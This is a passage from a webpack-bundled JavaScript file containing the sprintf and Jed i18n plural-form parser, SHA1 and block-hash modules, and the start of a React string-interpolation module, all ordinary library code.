* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of sprintf() for JavaScript nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL Alexandru Marasteanu BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
var sprintf = (function() {
function get_type(variable) {
return Object.prototype.toString.call(variable).slice(8, -1).toLowerCase();
}
function str_repeat(input, multiplier) {
for (var output = []; multiplier > 0; output[--multiplier] = input) {/* do nothing */}
return output.join('');
}
var str_format = function() {
if (!str_format.cache.hasOwnProperty(arguments[0])) {
str_format.cache[arguments[0]] = str_format.parse(arguments[0]);
}
return str_format.format.call(null, str_format.cache[arguments[0]], arguments);
};
str_format.format = function(parse_tree, argv) {
var cursor = 1, tree_length = parse_tree.length, node_type = '', arg, output = [], i, k, match, pad, pad_character, pad_length;
for (i = 0; i < tree_length; i++) {
node_type = get_type(parse_tree[i]);
if (node_type === 'string') {
output.push(parse_tree[i]);
}
else if (node_type === 'array') {
match = parse_tree[i]; // convenience purposes only
if (match[2]) { // keyword argument
arg = argv[cursor];
for (k = 0; k < match[2].length; k++) {
if (!arg.hasOwnProperty(match[2][k])) {
throw(sprintf('[sprintf] property "%s" does not exist', match[2][k]));
}
arg = arg[match[2][k]];
}
}
else if (match[1]) { // positional argument (explicit)
arg = argv[match[1]];
}
else { // positional argument (implicit)
arg = argv[cursor++];
}
if (/[^s]/.test(match[8]) && (get_type(arg) != 'number')) {
throw(sprintf('[sprintf] expecting number but found %s', get_type(arg)));
}
// Jed EDIT
if ( typeof arg == 'undefined' || arg === null ) {
arg = '';
}
// Jed EDIT
switch (match[8]) {
case 'b': arg = arg.toString(2); break;
case 'c': arg = String.fromCharCode(arg); break;
case 'd': arg = parseInt(arg, 10); break;
case 'e': arg = match[7] ? arg.toExponential(match[7]) : arg.toExponential(); break;
case 'f': arg = match[7] ? parseFloat(arg).toFixed(match[7]) : parseFloat(arg); break;
case 'o': arg = arg.toString(8); break;
case 's': arg = ((arg = String(arg)) && match[7] ? arg.substring(0, match[7]) : arg); break;
case 'u': arg = Math.abs(arg); break;
case 'x': arg = arg.toString(16); break;
case 'X': arg = arg.toString(16).toUpperCase(); break;
}
arg = (/[def]/.test(match[8]) && match[3] && arg >= 0 ? '+'+ arg : arg);
pad_character = match[4] ? match[4] == '0' ? '0' : match[4].charAt(1) : ' ';
pad_length = match[6] - String(arg).length;
pad = match[6] ? str_repeat(pad_character, pad_length) : '';
output.push(match[5] ? arg + pad : pad + arg);
}
}
return output.join('');
};
str_format.cache = {};
str_format.parse = function(fmt) {
var _fmt = fmt, match = [], parse_tree = [], arg_names = 0;
while (_fmt) {
if ((match = /^[^\x25]+/.exec(_fmt)) !== null) {
parse_tree.push(match[0]);
}
else if ((match = /^\x25{2}/.exec(_fmt)) !== null) {
parse_tree.push('%');
}
else if ((match = /^\x25(?:([1-9]\d*)\$|\(([^\)]+)\))?(\+)?(0|'[^$])?(-)?(\d+)?(?:\.(\d+))?([b-fosuxX])/.exec(_fmt)) !== null) {
if (match[2]) {
arg_names |= 1;
var field_list = [], replacement_field = match[2], field_match = [];
if ((field_match = /^([a-z_][a-z_\d]*)/i.exec(replacement_field)) !== null) {
field_list.push(field_match[1]);
while ((replacement_field = replacement_field.substring(field_match[0].length)) !== '') {
if ((field_match = /^\.([a-z_][a-z_\d]*)/i.exec(replacement_field)) !== null) {
field_list.push(field_match[1]);
}
else if ((field_match = /^\[(\d+)\]/.exec(replacement_field)) !== null) {
field_list.push(field_match[1]);
}
else {
throw('[sprintf] huh?');
}
}
}
else {
throw('[sprintf] huh?');
}
match[2] = field_list;
}
else {
arg_names |= 2;
}
if (arg_names === 3) {
throw('[sprintf] mixing positional and named placeholders is not (yet) supported');
}
parse_tree.push(match);
}
else {
throw('[sprintf] huh?');
}
_fmt = _fmt.substring(match[0].length);
}
return parse_tree;
};
return str_format;
})();
var vsprintf = function(fmt, argv) {
argv.unshift(fmt);
return sprintf.apply(null, argv);
};
Jed.parse_plural = function ( plural_forms, n ) {
plural_forms = plural_forms.replace(/n/g, n);
return Jed.parse_expression(plural_forms);
};
Jed.sprintf = function ( fmt, args ) {
if ( {}.toString.call( args ) == '[object Array]' ) {
return vsprintf( fmt, [].slice.call(args) );
}
return sprintf.apply(this, [].slice.call(arguments) );
};
Jed.prototype.sprintf = function () {
return Jed.sprintf.apply(this, arguments);
};
// END sprintf Implementation
// Start the Plural forms section
// This is a full plural form expression parser. It is used to avoid
// running 'eval' or 'new Function' directly against the plural
// forms.
//
// This can be important if you get translations done through a 3rd
// party vendor. I encourage you to use this instead, however, I
// also will provide a 'precompiler' that you can use at build time
// to output valid/safe function representations of the plural form
// expressions. This means you can build this code out for the most
// part.
Jed.PF = {};
Jed.PF.parse = function ( p ) {
var plural_str = Jed.PF.extractPluralExpr( p );
return Jed.PF.parser.parse.call(Jed.PF.parser, plural_str);
};
Jed.PF.compile = function ( p ) {
// Handle trues and falses as 0 and 1
function imply( val ) {
return (val === true ? 1 : val ? val : 0);
}
var ast = Jed.PF.parse( p );
return function ( n ) {
return imply( Jed.PF.interpreter( ast )( n ) );
};
};
Jed.PF.interpreter = function ( ast ) {
return function ( n ) {
var res;
switch ( ast.type ) {
case 'GROUP':
return Jed.PF.interpreter( ast.expr )( n );
case 'TERNARY':
if ( Jed.PF.interpreter( ast.expr )( n ) ) {
return Jed.PF.interpreter( ast.truthy )( n );
}
return Jed.PF.interpreter( ast.falsey )( n );
case 'OR':
return Jed.PF.interpreter( ast.left )( n ) || Jed.PF.interpreter( ast.right )( n );
case 'AND':
return Jed.PF.interpreter( ast.left )( n ) && Jed.PF.interpreter( ast.right )( n );
case 'LT':
return Jed.PF.interpreter( ast.left )( n ) < Jed.PF.interpreter( ast.right )( n );
case 'GT':
return Jed.PF.interpreter( ast.left )( n ) > Jed.PF.interpreter( ast.right )( n );
case 'LTE':
return Jed.PF.interpreter( ast.left )( n ) <= Jed.PF.interpreter( ast.right )( n );
case 'GTE':
return Jed.PF.interpreter( ast.left )( n ) >= Jed.PF.interpreter( ast.right )( n );
case 'EQ':
return Jed.PF.interpreter( ast.left )( n ) == Jed.PF.interpreter( ast.right )( n );
case 'NEQ':
return Jed.PF.interpreter( ast.left )( n ) != Jed.PF.interpreter( ast.right )( n );
case 'MOD':
return Jed.PF.interpreter( ast.left )( n ) % Jed.PF.interpreter( ast.right )( n );
case 'VAR':
return n;
case 'NUM':
return ast.val;
default:
throw new Error("Invalid Token found.");
}
};
};
Jed.PF.extractPluralExpr = function ( p ) {
// trim first
p = p.replace(/^\s\s*/, '').replace(/\s\s*$/, '');
if (! /;\s*$/.test(p)) {
p = p.concat(';');
}
var nplurals_re = /nplurals\=(\d+);/,
plural_re = /plural\=(.*);/,
nplurals_matches = p.match( nplurals_re ),
res = {},
plural_matches;
// Find the nplurals number
if ( nplurals_matches.length > 1 ) {
res.nplurals = nplurals_matches[1];
}
else {
throw new Error('nplurals not found in plural_forms string: ' + p );
}
// remove that data to get to the formula
p = p.replace( nplurals_re, "" );
plural_matches = p.match( plural_re );
if (!( plural_matches && plural_matches.length > 1 ) ) {
throw new Error('`plural` expression not found: ' + p);
}
return plural_matches[ 1 ];
};
/* Jison generated parser */
Jed.PF.parser = (function(){
var parser = {trace: function trace() { },
yy: {},
symbols_: {"error":2,"expressions":3,"e":4,"EOF":5,"?":6,":":7,"||":8,"&&":9,"<":10,"<=":11,">":12,">=":13,"!=":14,"==":15,"%":16,"(":17,")":18,"n":19,"NUMBER":20,"$accept":0,"$end":1},
terminals_: {2:"error",5:"EOF",6:"?",7:":",8:"||",9:"&&",10:"<",11:"<=",12:">",13:">=",14:"!=",15:"==",16:"%",17:"(",18:")",19:"n",20:"NUMBER"},
productions_: [0,[3,2],[4,5],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,1],[4,1]],
performAction: function anonymous(yytext,yyleng,yylineno,yy,yystate,$$,_$) {
var $0 = $$.length - 1;
switch (yystate) {
case 1: return { type : 'GROUP', expr: $$[$0-1] };
break;
case 2:this.$ = { type: 'TERNARY', expr: $$[$0-4], truthy : $$[$0-2], falsey: $$[$0] };
break;
case 3:this.$ = { type: "OR", left: $$[$0-2], right: $$[$0] };
break;
case 4:this.$ = { type: "AND", left: $$[$0-2], right: $$[$0] };
break;
case 5:this.$ = { type: 'LT', left: $$[$0-2], right: $$[$0] };
break;
case 6:this.$ = { type: 'LTE', left: $$[$0-2], right: $$[$0] };
break;
case 7:this.$ = { type: 'GT', left: $$[$0-2], right: $$[$0] };
break;
case 8:this.$ = { type: 'GTE', left: $$[$0-2], right: $$[$0] };
break;
case 9:this.$ = { type: 'NEQ', left: $$[$0-2], right: $$[$0] };
break;
case 10:this.$ = { type: 'EQ', left: $$[$0-2], right: $$[$0] };
break;
case 11:this.$ = { type: 'MOD', left: $$[$0-2], right: $$[$0] };
break;
case 12:this.$ = { type: 'GROUP', expr: $$[$0-1] };
break;
case 13:this.$ = { type: 'VAR' };
break;
case 14:this.$ = { type: 'NUM', val: Number(yytext) };
break;
}
},
table: [{3:1,4:2,17:[1,3],19:[1,4],20:[1,5]},{1:[3]},{5:[1,6],6:[1,7],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16]},{4:17,17:[1,3],19:[1,4],20:[1,5]},{5:[2,13],6:[2,13],7:[2,13],8:[2,13],9:[2,13],10:[2,13],11:[2,13],12:[2,13],13:[2,13],14:[2,13],15:[2,13],16:[2,13],18:[2,13]},{5:[2,14],6:[2,14],7:[2,14],8:[2,14],9:[2,14],10:[2,14],11:[2,14],12:[2,14],13:[2,14],14:[2,14],15:[2,14],16:[2,14],18:[2,14]},{1:[2,1]},{4:18,17:[1,3],19:[1,4],20:[1,5]},{4:19,17:[1,3],19:[1,4],20:[1,5]},{4:20,17:[1,3],19:[1,4],20:[1,5]},{4:21,17:[1,3],19:[1,4],20:[1,5]},{4:22,17:[1,3],19:[1,4],20:[1,5]},{4:23,17:[1,3],19:[1,4],20:[1,5]},{4:24,17:[1,3],19:[1,4],20:[1,5]},{4:25,17:[1,3],19:[1,4],20:[1,5]},{4:26,17:[1,3],19:[1,4],20:[1,5]},{4:27,17:[1,3],19:[1,4],20:[1,5]},{6:[1,7],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[1,28]},{6:[1,7],7:[1,29],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16]},{5:[2,3],6:[2,3],7:[2,3],8:[2,3],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[2,3]},{5:[2,4],6:[2,4],7:[2,4],8:[2,4],9:[2,4],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[2,4]},{5:[2,5],6:[2,5],7:[2,5],8:[2,5],9:[2,5],10:[2,5],11:[2,5],12:[2,5],13:[2,5],14:[2,5],15:[2,5],16:[1,16],18:[2,5]},{5:[2,6],6:[2,6],7:[2,6],8:[2,6],9:[2,6],10:[2,6],11:[2,6],12:[2,6],13:[2,6],14:[2,6],15:[2,6],16:[1,16],18:[2,6]},{5:[2,7],6:[2,7],7:[2,7],8:[2,7],9:[2,7],10:[2,7],11:[2,7],12:[2,7],13:[2,7],14:[2,7],15:[2,7],16:[1,16],18:[2,7]},{5:[2,8],6:[2,8],7:[2,8],8:[2,8],9:[2,8],10:[2,8],11:[2,8],12:[2,8],13:[2,8],14:[2,8],15:[2,8],16:[1,16],18:[2,8]},{5:[2,9],6:[2,9],7:[2,9],8:[2,9],9:[2,9],10:[2,9],11:[2,9],12:[2,9],13:[2,9],14:[2,9],15:[2,9],16:[1,16],18:[2,9]},{5:[2,10],6:[2,10],7:[2,10],8:[2,10],9:[2,10],10:[2,10],11:[2,10],12:[2,10],13:[2,10],14:[2,10],15:[2,10],16:[1,16],18:[2,10]},{5:[2,11],6:[2,11],7:[2,11],8:[2,11],9:[2,11],10:[2,11],11:[2,11],12:[2,11],13:[2,11],14:[2,11],15:[2,11],16:[2,11],18:[2,11]},{5:[2,12],6:[2,12],7:[2,12],8:[2,12],9:[2,12],10:[2,12],11:[2,12],12:[2,12],13:[2,12],14:[2,12],15:[2,12],16:[2,12],18:[2,12]},{4:30,17:[1,3],19:[1,4],20:[1,5]},{5:[2,2],6:[1,7],7:[2,2],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[2,2]}],
defaultActions: {6:[2,1]},
parseError: function parseError(str, hash) {
throw new Error(str);
},
parse: function parse(input) {
var self = this,
stack = [0],
vstack = [null], // semantic value stack
lstack = [], // location stack
table = this.table,
yytext = '',
yylineno = 0,
yyleng = 0,
recovering = 0,
TERROR = 2,
EOF = 1;
//this.reductionCount = this.shiftCount = 0;
this.lexer.setInput(input);
this.lexer.yy = this.yy;
this.yy.lexer = this.lexer;
if (typeof this.lexer.yylloc == 'undefined')
this.lexer.yylloc = {};
var yyloc = this.lexer.yylloc;
lstack.push(yyloc);
if (typeof this.yy.parseError === 'function')
this.parseError = this.yy.parseError;
function popStack (n) {
stack.length = stack.length - 2*n;
vstack.length = vstack.length - n;
lstack.length = lstack.length - n;
}
function lex() {
var token;
token = self.lexer.lex() || 1; // $end = 1
// if token isn't its numeric value, convert
if (typeof token !== 'number') {
token = self.symbols_[token] || token;
}
return token;
}
var symbol, preErrorSymbol, state, action, a, r, yyval={},p,len,newState, expected;
while (true) {
// retreive state number from top of stack
state = stack[stack.length-1];
// use default actions if available
if (this.defaultActions[state]) {
action = this.defaultActions[state];
} else {
if (symbol == null)
symbol = lex();
// read action for current state and first input
action = table[state] && table[state][symbol];
}
// handle parse error
_handle_error:
if (typeof action === 'undefined' || !action.length || !action[0]) {
if (!recovering) {
// Report error
expected = [];
for (p in table[state]) if (this.terminals_[p] && p > 2) {
expected.push("'"+this.terminals_[p]+"'");
}
var errStr = '';
if (this.lexer.showPosition) {
errStr = 'Parse error on line '+(yylineno+1)+":\n"+this.lexer.showPosition()+"\nExpecting "+expected.join(', ') + ", got '" + this.terminals_[symbol]+ "'";
} else {
errStr = 'Parse error on line '+(yylineno+1)+": Unexpected " +
(symbol == 1 /*EOF*/ ? "end of input" :
("'"+(this.terminals_[symbol] || symbol)+"'"));
}
this.parseError(errStr,
{text: this.lexer.match, token: this.terminals_[symbol] || symbol, line: this.lexer.yylineno, loc: yyloc, expected: expected});
}
// just recovered from another error
if (recovering == 3) {
if (symbol == EOF) {
throw new Error(errStr || 'Parsing halted.');
}
// discard current lookahead and grab another
yyleng = this.lexer.yyleng;
yytext = this.lexer.yytext;
yylineno = this.lexer.yylineno;
yyloc = this.lexer.yylloc;
symbol = lex();
}
// try to recover from error
while (1) {
// check for error recovery rule in this state
if ((TERROR.toString()) in table[state]) {
break;
}
if (state == 0) {
throw new Error(errStr || 'Parsing halted.');
}
popStack(1);
state = stack[stack.length-1];
}
preErrorSymbol = symbol; // save the lookahead token
symbol = TERROR; // insert generic error symbol as new lookahead
state = stack[stack.length-1];
action = table[state] && table[state][TERROR];
recovering = 3; // allow 3 real symbols to be shifted before reporting a new error
}
// this shouldn't happen, unless resolve defaults are off
if (action[0] instanceof Array && action.length > 1) {
throw new Error('Parse Error: multiple actions possible at state: '+state+', token: '+symbol);
}
switch (action[0]) {
case 1: // shift
//this.shiftCount++;
stack.push(symbol);
vstack.push(this.lexer.yytext);
lstack.push(this.lexer.yylloc);
stack.push(action[1]); // push state
symbol = null;
if (!preErrorSymbol) { // normal execution/no error
yyleng = this.lexer.yyleng;
yytext = this.lexer.yytext;
yylineno = this.lexer.yylineno;
yyloc = this.lexer.yylloc;
if (recovering > 0)
recovering--;
} else { // error just occurred, resume old lookahead f/ before error
symbol = preErrorSymbol;
preErrorSymbol = null;
}
break;
case 2: // reduce
//this.reductionCount++;
len = this.productions_[action[1]][1];
// perform semantic action
yyval.$ = vstack[vstack.length-len]; // default to $$ = $1
// default location, uses first token for firsts, last for lasts
yyval._$ = {
first_line: lstack[lstack.length-(len||1)].first_line,
last_line: lstack[lstack.length-1].last_line,
first_column: lstack[lstack.length-(len||1)].first_column,
last_column: lstack[lstack.length-1].last_column
};
r = this.performAction.call(yyval, yytext, yyleng, yylineno, this.yy, action[1], vstack, lstack);
if (typeof r !== 'undefined') {
return r;
}
// pop off stack
if (len) {
stack = stack.slice(0,-1*len*2);
vstack = vstack.slice(0, -1*len);
lstack = lstack.slice(0, -1*len);
}
stack.push(this.productions_[action[1]][0]); // push nonterminal (reduce)
vstack.push(yyval.$);
lstack.push(yyval._$);
// goto new state = table[STATE][NONTERMINAL]
newState = table[stack[stack.length-2]][stack[stack.length-1]];
stack.push(newState);
break;
case 3: // accept
return true;
}
}
return true;
}};/* Jison generated lexer */
var lexer = (function(){
var lexer = ({EOF:1,
parseError:function parseError(str, hash) {
if (this.yy.parseError) {
this.yy.parseError(str, hash);
} else {
throw new Error(str);
}
},
setInput:function (input) {
this._input = input;
this._more = this._less = this.done = false;
this.yylineno = this.yyleng = 0;
this.yytext = this.matched = this.match = '';
this.conditionStack = ['INITIAL'];
this.yylloc = {first_line:1,first_column:0,last_line:1,last_column:0};
return this;
},
input:function () {
var ch = this._input[0];
this.yytext+=ch;
this.yyleng++;
this.match+=ch;
this.matched+=ch;
var lines = ch.match(/\n/);
if (lines) this.yylineno++;
this._input = this._input.slice(1);
return ch;
},
unput:function (ch) {
this._input = ch + this._input;
return this;
},
more:function () {
this._more = true;
return this;
},
pastInput:function () {
var past = this.matched.substr(0, this.matched.length - this.match.length);
return (past.length > 20 ? '...':'') + past.substr(-20).replace(/\n/g, "");
},
upcomingInput:function () {
var next = this.match;
if (next.length < 20) {
next += this._input.substr(0, 20-next.length);
}
return (next.substr(0,20)+(next.length > 20 ? '...':'')).replace(/\n/g, "");
},
showPosition:function () {
var pre = this.pastInput();
var c = new Array(pre.length + 1).join("-");
return pre + this.upcomingInput() + "\n" + c+"^";
},
next:function () {
if (this.done) {
return this.EOF;
}
if (!this._input) this.done = true;
var token,
match,
col,
lines;
if (!this._more) {
this.yytext = '';
this.match = '';
}
var rules = this._currentRules();
for (var i=0;i < rules.length; i++) {
match = this._input.match(this.rules[rules[i]]);
if (match) {
lines = match[0].match(/\n.*/g);
if (lines) this.yylineno += lines.length;
this.yylloc = {first_line: this.yylloc.last_line,
last_line: this.yylineno+1,
first_column: this.yylloc.last_column,
last_column: lines ? lines[lines.length-1].length-1 : this.yylloc.last_column + match[0].length}
this.yytext += match[0];
this.match += match[0];
this.matches = match;
this.yyleng = this.yytext.length;
this._more = false;
this._input = this._input.slice(match[0].length);
this.matched += match[0];
token = this.performAction.call(this, this.yy, this, rules[i],this.conditionStack[this.conditionStack.length-1]);
if (token) return token;
else return;
}
}
if (this._input === "") {
return this.EOF;
} else {
this.parseError('Lexical error on line '+(this.yylineno+1)+'. Unrecognized text.\n'+this.showPosition(),
{text: "", token: null, line: this.yylineno});
}
},
lex:function lex() {
var r = this.next();
if (typeof r !== 'undefined') {
return r;
} else {
return this.lex();
}
},
begin:function begin(condition) {
this.conditionStack.push(condition);
},
popState:function popState() {
return this.conditionStack.pop();
},
_currentRules:function _currentRules() {
return this.conditions[this.conditionStack[this.conditionStack.length-1]].rules;
},
topState:function () {
return this.conditionStack[this.conditionStack.length-2];
},
pushState:function begin(condition) {
this.begin(condition);
}});
lexer.performAction = function anonymous(yy,yy_,$avoiding_name_collisions,YY_START) {
var YYSTATE=YY_START;
switch($avoiding_name_collisions) {
case 0:/* skip whitespace */
break;
case 1:return 20
break;
case 2:return 19
break;
case 3:return 8
break;
case 4:return 9
break;
case 5:return 6
break;
case 6:return 7
break;
case 7:return 11
break;
case 8:return 13
break;
case 9:return 10
break;
case 10:return 12
break;
case 11:return 14
break;
case 12:return 15
break;
case 13:return 16
break;
case 14:return 17
break;
case 15:return 18
break;
case 16:return 5
break;
case 17:return 'INVALID'
break;
}
};
lexer.rules = [/^\s+/,/^[0-9]+(\.[0-9]+)?\b/,/^n\b/,/^\|\|/,/^&&/,/^\?/,/^:/,/^<=/,/^>=/,/^</,/^>/,/^!=/,/^==/,/^%/,/^\(/,/^\)/,/^$/,/^./];
lexer.conditions = {"INITIAL":{"rules":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17],"inclusive":true}};return lexer;})()
parser.lexer = lexer;
return parser;
})();
// End parser
// Handle node, amd, and global systems
if (true) {
if (typeof module !== 'undefined' && module.exports) {
exports = module.exports = Jed;
}
exports.Jed = Jed;
}
else {
if (typeof define === 'function' && define.amd) {
define('jed', function() {
return Jed;
});
}
// Leak a global regardless of module system
root['Jed'] = Jed;
}
})(this);
/***/ }),
/* 97 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(37);
var common = __webpack_require__(98);
var shaCommon = __webpack_require__(99);
var rotl32 = utils.rotl32;
var sum32 = utils.sum32;
var sum32_5 = utils.sum32_5;
var ft_1 = shaCommon.ft_1;
var BlockHash = common.BlockHash;
var sha1_K = [
0x5A827999, 0x6ED9EBA1,
0x8F1BBCDC, 0xCA62C1D6
];
function SHA1() {
if (!(this instanceof SHA1))
return new SHA1();
BlockHash.call(this);
this.h = [
0x67452301, 0xefcdab89, 0x98badcfe,
0x10325476, 0xc3d2e1f0 ];
this.W = new Array(80);
}
utils.inherits(SHA1, BlockHash);
module.exports = SHA1;
SHA1.blockSize = 512;
SHA1.outSize = 160;
SHA1.hmacStrength = 80;
SHA1.padLength = 64;
SHA1.prototype._update = function _update(msg, start) {
var W = this.W;
for (var i = 0; i < 16; i++)
W[i] = msg[start + i];
for(; i < W.length; i++)
W[i] = rotl32(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
var a = this.h[0];
var b = this.h[1];
var c = this.h[2];
var d = this.h[3];
var e = this.h[4];
for (i = 0; i < W.length; i++) {
var s = ~~(i / 20);
var t = sum32_5(rotl32(a, 5), ft_1(s, b, c, d), e, W[i], sha1_K[s]);
e = d;
d = c;
c = rotl32(b, 30);
b = a;
a = t;
}
this.h[0] = sum32(this.h[0], a);
this.h[1] = sum32(this.h[1], b);
this.h[2] = sum32(this.h[2], c);
this.h[3] = sum32(this.h[3], d);
this.h[4] = sum32(this.h[4], e);
};
SHA1.prototype._digest = function digest(enc) {
if (enc === 'hex')
return utils.toHex32(this.h, 'big');
else
return utils.split32(this.h, 'big');
};
/***/ }),
/* 98 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(37);
var assert = __webpack_require__(54);
function BlockHash() {
this.pending = null;
this.pendingTotal = 0;
this.blockSize = this.constructor.blockSize;
this.outSize = this.constructor.outSize;
this.hmacStrength = this.constructor.hmacStrength;
this.padLength = this.constructor.padLength / 8;
this.endian = 'big';
this._delta8 = this.blockSize / 8;
this._delta32 = this.blockSize / 32;
}
exports.BlockHash = BlockHash;
BlockHash.prototype.update = function update(msg, enc) {
// Convert message to array, pad it, and join into 32bit blocks
msg = utils.toArray(msg, enc);
if (!this.pending)
this.pending = msg;
else
this.pending = this.pending.concat(msg);
this.pendingTotal += msg.length;
// Enough data, try updating
if (this.pending.length >= this._delta8) {
msg = this.pending;
// Process pending data in blocks
var r = msg.length % this._delta8;
this.pending = msg.slice(msg.length - r, msg.length);
if (this.pending.length === 0)
this.pending = null;
msg = utils.join32(msg, 0, msg.length - r, this.endian);
for (var i = 0; i < msg.length; i += this._delta32)
this._update(msg, i, i + this._delta32);
}
return this;
};
BlockHash.prototype.digest = function digest(enc) {
this.update(this._pad());
assert(this.pending === null);
return this._digest(enc);
};
BlockHash.prototype._pad = function pad() {
var len = this.pendingTotal;
var bytes = this._delta8;
var k = bytes - ((len + this.padLength) % bytes);
var res = new Array(k + this.padLength);
res[0] = 0x80;
for (var i = 1; i < k; i++)
res[i] = 0;
// Append length
len <<= 3;
if (this.endian === 'big') {
for (var t = 8; t < this.padLength; t++)
res[i++] = 0;
res[i++] = 0;
res[i++] = 0;
res[i++] = 0;
res[i++] = 0;
res[i++] = (len >>> 24) & 0xff;
res[i++] = (len >>> 16) & 0xff;
res[i++] = (len >>> 8) & 0xff;
res[i++] = len & 0xff;
} else {
res[i++] = len & 0xff;
res[i++] = (len >>> 8) & 0xff;
res[i++] = (len >>> 16) & 0xff;
res[i++] = (len >>> 24) & 0xff;
res[i++] = 0;
res[i++] = 0;
res[i++] = 0;
res[i++] = 0;
for (t = 8; t < this.padLength; t++)
res[i++] = 0;
}
return res;
};
/***/ }),
/* 99 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(37);
var rotr32 = utils.rotr32;
function ft_1(s, x, y, z) {
if (s === 0)
return ch32(x, y, z);
if (s === 1 || s === 3)
return p32(x, y, z);
if (s === 2)
return maj32(x, y, z);
}
exports.ft_1 = ft_1;
function ch32(x, y, z) {
return (x & y) ^ ((~x) & z);
}
exports.ch32 = ch32;
function maj32(x, y, z) {
return (x & y) ^ (x & z) ^ (y & z);
}
exports.maj32 = maj32;
function p32(x, y, z) {
return x ^ y ^ z;
}
exports.p32 = p32;
function s0_256(x) {
return rotr32(x, 2) ^ rotr32(x, 13) ^ rotr32(x, 22);
}
exports.s0_256 = s0_256;
function s1_256(x) {
return rotr32(x, 6) ^ rotr32(x, 11) ^ rotr32(x, 25);
}
exports.s1_256 = s1_256;
function g0_256(x) {
return rotr32(x, 7) ^ rotr32(x, 18) ^ (x >>> 3);
}
exports.g0_256 = g0_256;
function g1_256(x) {
return rotr32(x, 17) ^ rotr32(x, 19) ^ (x >>> 10);
}
exports.g1_256 = g1_256;
/***/ }),
/* 100 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; /**
* External Dependencies
*/
/**
* Internal Dependencies
*/
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _reactAddonsCreateFragment = __webpack_require__(101);
var _reactAddonsCreateFragment2 = _interopRequireDefault(_reactAddonsCreateFragment);
var _tokenize = __webpack_require__(102);
var _tokenize2 = _interopRequireDefault(_tokenize);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var currentMixedString = void 0;
function getCloseIndex(openIndex, tokens) {
var openToken = tokens[openIndex],
nestLevel = 0,
token,
i;
for (i = openIndex + 1; i < tokens.length; i++) {
token = tokens[i];
if (token.value === openToken.value) {
if (token.type === 'componentOpen') {
nestLevel++;
continue;
}
if (token.type === 'componentClose') {
if (nestLevel === 0) {
return i;
}
nestLevel--;
}
}
}
// if we get this far, there was no matching close token
throw new Error('Missing closing component token `' + openToken.value + '`');
}
function buildChildren(tokens, components) {
var children = [],
childrenObject = {},
openComponent,
clonedOpenComponent,
openIndex,
closeIndex,
token,
i,
grandChildTokens,
grandChildren,
siblingTokens,
siblings;
for (i = 0; i < tokens.length; i++) {
token = tokens[i];
if (token.type === 'string') {
children.push(token.value);
continue;
}
// component node should at least be set
if (!components.hasOwnProperty(token.value) || typeof components[token.value] === 'undefined') {
throw new Error('Invalid interpolation, missing component node: `' + token.value + '`');
}
// should be either ReactElement or null (both type "object"), all other types deprecated
if (_typeof(components[token.value]) !== 'object') {
throw new Error('Invalid interpolation, component node must be a ReactElement or null: `' + token.value + '`', '\n> ' + currentMixedString);
}
// we should never see a componentClose token in this loop
if (token.type === 'componentClose') {
throw new Error('Missing opening component token: `' + token.value + '`');
}
if (token.type === 'componentOpen') {
openComponent = components[token.value];
openIndex = i;
break;
}
// componentSelfClosing token
children.push(components[token.value]);
continue;
}
if (openComponent) {
closeIndex = getCloseIndex(openIndex, tokens);
grandChildTokens = tokens.slice(openIndex + 1, closeIndex);
grandChildren = buildChildren(grandChildTokens, components);
clonedOpenComponent = _react2.default.cloneElement(openComponent, {}, grandChildren);
children.push(clonedOpenComponent);
if (closeIndex < tokens.length - 1) {
siblingTokens = tokens.slice(closeIndex + 1);
siblings = buildChildren(siblingTokens, components);
children = children.concat(siblings);
}
}
if (children.length === 1) {
return children[0];
}
children.forEach(function (child, index) {
if (child) {
childrenObject['interpolation-child-' + index] = child;
}
});
return (0, _reactAddonsCreateFragment2.default)(childrenObject);
}
function interpolate(options) {
var mixedString = options.mixedString,
components = options.components,
throwErrors = options.throwErrors;
